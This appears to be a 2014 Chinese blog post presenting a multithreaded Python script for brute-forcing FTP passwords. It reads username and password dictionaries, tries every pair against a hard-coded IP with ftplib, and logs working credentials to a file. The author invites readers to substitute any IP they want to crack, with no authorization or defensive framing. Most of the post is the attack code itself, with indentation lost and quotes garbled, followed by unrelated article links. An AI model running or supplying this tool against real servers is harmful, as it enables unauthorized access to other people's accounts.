python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
零基础写python爬虫之抓取百度贴吧并存储到本地txt文件改进版
Nov 06 Python
Python中使用wxPython开发的一个简易笔记本程序实例
Feb 08 Python
python每隔N秒运行指定函数的方法
Mar 16 Python
Python对列表排序的方法实例分析
May 16 Python
Python引用模块和查找模块路径
Mar 17 Python
Python 中的with关键字使用详解
Sep 11 Python
Python MySQL数据库连接池组件pymysqlpool详解
Jul 07 Python
python实现归并排序算法
Nov 22 Python
django中forms组件的使用与注意
Jul 08 Python
如何爬取通过ajax加载数据的网站
Aug 15 Python
Python 实现判断图片格式并转换,将转换的图像存到生成的文件夹中
Jan 13 Python
matplotlib grid()设置网格线外观的实现
Feb 22 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
关于UEditor编辑器远程图片上传失败的解决办法
2012/08/31 PHP
PHP中数字检测is_numeric与ctype_digit的区别介绍
2012/10/04 PHP
php object转数组示例
2014/01/15 PHP
PHP使用CURL获取302跳转后的地址实例
2014/05/04 PHP
php截取指定2个字符之间字符串的方法
2015/04/15 PHP
Javascript中暂停功能的实现代码
2007/03/04 Javascript
JS正则中的RegExp对象对象
2012/11/07 Javascript
js实现图片轮换效果代码
2013/04/16 Javascript
JS实现带有3D立体感的银灰色竖排折叠菜单代码
2015/10/20 Javascript
Javascript简单实现面向对象编程继承实例代码
2015/11/27 Javascript
Angular发布1.5正式版,专注于向Angular 2的过渡
2016/02/18 Javascript
javascript冒泡排序小结
2016/04/10 Javascript
JavaScript核心语法总结(推荐)
2016/06/02 Javascript
微信小程序 删除项目工程实现步骤
2016/11/10 Javascript
Extjs让combobox写起来简洁又漂亮
2017/01/05 Javascript
jQuery使用正则表达式替换dom元素标签用法示例
2017/01/16 Javascript
NodeJs中express框架的send()方法简介
2017/06/20 NodeJs
Javascript中的作用域及块级作用域
2017/12/08 Javascript
详解Vue.js使用Swiper.js在iOS
2018/09/10 Javascript
基于layui实现高级搜索(筛选)功能
2019/07/26 Javascript
NodeJS实现一个聊天室功能
2019/11/25 NodeJs
JavaScript如何判断对象有某属性
2020/07/03 Javascript
python条件和循环的使用方法
2013/11/01 Python
Pyinstaller将py打包成exe的实例
2018/03/31 Python
使用python实现数组、链表、队列、栈的方法
2019/12/20 Python
Python包和模块的分发详细介绍
2020/06/19 Python
python开发一款翻译工具
2020/10/10 Python
python中@property的作用和getter setter的解释
2020/12/22 Python
2分钟教你实现环形/扇形菜单(基础版)
2020/01/15 HTML / CSS
HTML5实现Notification API桌面通知功能
2016/03/02 HTML / CSS
html5 css3实例教程 一款html5和css3实现的小机器人走路动画
2014/10/20 HTML / CSS
自动化专业个人求职信范文
2013/12/30 职场文书
大二法英学生职业生涯规划范文
2014/02/27 职场文书
中层干部考核评语
2015/01/04 职场文书
违纪开除通知书
2015/04/25 职场文书
MySQL sql模式设置引起的问题
2022/05/15 MySQL